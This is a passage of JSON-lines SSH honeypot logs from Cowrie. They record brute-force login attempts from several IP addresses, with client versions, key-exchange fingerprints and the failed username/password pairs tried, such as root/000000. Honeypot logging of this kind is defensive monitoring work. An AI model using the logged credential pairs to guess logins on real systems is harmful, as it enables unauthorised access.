openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:39.013979Z","src_ip":"192.109.200.78","session":"062a5065beff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:39.376231Z","src_ip":"192.109.200.78","session":"062a5065beff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:40.460423Z","src_ip":"192.109.200.78","session":"062a5065beff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58480,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ebf2efc9c8c","protocol":"ssh","message":"New connection: 192.109.200.78:58480 (159.203.135.109:22) [session: 1ebf2efc9c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.127747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.131727Z","src_ip":"192.109.200.78","session":"1ebf2efc9c8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.215461Z","src_ip":"192.109.200.78","session":"1ebf2efc9c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.476692Z","src_ip":"192.109.200.78","session":"1ebf2efc9c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":33120,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e544481758","protocol":"ssh","message":"New connection: 170.79.37.88:33120 (159.203.135.109:22) [session: e3e544481758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.753521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.757327Z","src_ip":"170.79.37.88","session":"e3e544481758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:43.863062Z","src_ip":"170.79.37.88","session":"e3e544481758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test4","password":"test","message":"login attempt [test4/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:44.295789Z","src_ip":"170.79.37.88","session":"e3e544481758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:44.561799Z","src_ip":"192.109.200.78","session":"1ebf2efc9c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:45.397515Z","src_ip":"170.79.37.88","session":"e3e544481758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45186,"dst_ip":"159.203.135.109","dst_port":22,"session":"5976d58920a9","protocol":"ssh","message":"New connection: 80.94.92.186:45186 (159.203.135.109:22) [session: 5976d58920a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:46.159647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:46.177991Z","src_ip":"80.94.92.186","session":"5976d58920a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:46.360877Z","src_ip":"80.94.92.186","session":"5976d58920a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:46.941613Z","src_ip":"80.94.92.186","session":"5976d58920a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58488,"dst_ip":"159.203.135.109","dst_port":22,"session":"aab4a91adcf3","protocol":"ssh","message":"New connection: 192.109.200.78:58488 (159.203.135.109:22) [session: aab4a91adcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:47.410730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:47.417741Z","src_ip":"192.109.200.78","session":"aab4a91adcf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:47.499645Z","src_ip":"192.109.200.78","session":"aab4a91adcf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:47.822376Z","src_ip":"192.109.200.78","session":"aab4a91adcf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:48.662184Z","src_ip":"80.94.92.186","session":"5976d58920a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:48.909692Z","src_ip":"192.109.200.78","session":"aab4a91adcf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36826,"dst_ip":"159.203.135.109","dst_port":22,"session":"71be8e51197b","protocol":"ssh","message":"New connection: 192.109.200.78:36826 (159.203.135.109:22) [session: 71be8e51197b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:51.517797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:51.522365Z","src_ip":"192.109.200.78","session":"71be8e51197b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:51.608091Z","src_ip":"192.109.200.78","session":"71be8e51197b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:51.856261Z","src_ip":"192.109.200.78","session":"71be8e51197b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53922,"dst_ip":"159.203.135.109","dst_port":22,"session":"5690592ffb1d","protocol":"ssh","message":"New connection: 159.203.92.129:53922 (159.203.135.109:22) [session: 5690592ffb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:51.999151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:52.064476Z","src_ip":"159.203.92.129","session":"5690592ffb1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:52.067878Z","src_ip":"159.203.92.129","session":"5690592ffb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Record","password":"Record123","message":"login attempt [Record/Record123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:52.209738Z","src_ip":"159.203.92.129","session":"5690592ffb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:52.944032Z","src_ip":"192.109.200.78","session":"71be8e51197b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:53.216669Z","src_ip":"159.203.92.129","session":"5690592ffb1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"113699493566","protocol":"ssh","message":"New connection: 192.109.200.78:36830 (159.203.135.109:22) [session: 113699493566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:55.719393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:55.724968Z","src_ip":"192.109.200.78","session":"113699493566","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:55.810244Z","src_ip":"192.109.200.78","session":"113699493566","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000000","message":"login attempt [root/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:56.066087Z","src_ip":"192.109.200.78","session":"113699493566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:57.152180Z","src_ip":"192.109.200.78","session":"113699493566","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52832,"dst_ip":"159.203.135.109","dst_port":22,"session":"030cf6a4400f","protocol":"ssh","message":"New connection: 192.109.200.78:52832 (159.203.135.109:22) [session: 030cf6a4400f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:59.908645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:42:59.913102Z","src_ip":"192.109.200.78","session":"030cf6a4400f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:43:00.305130Z","src_ip":"192.109.200.78","session":"030cf6a4400f","protocol":"ssh"}
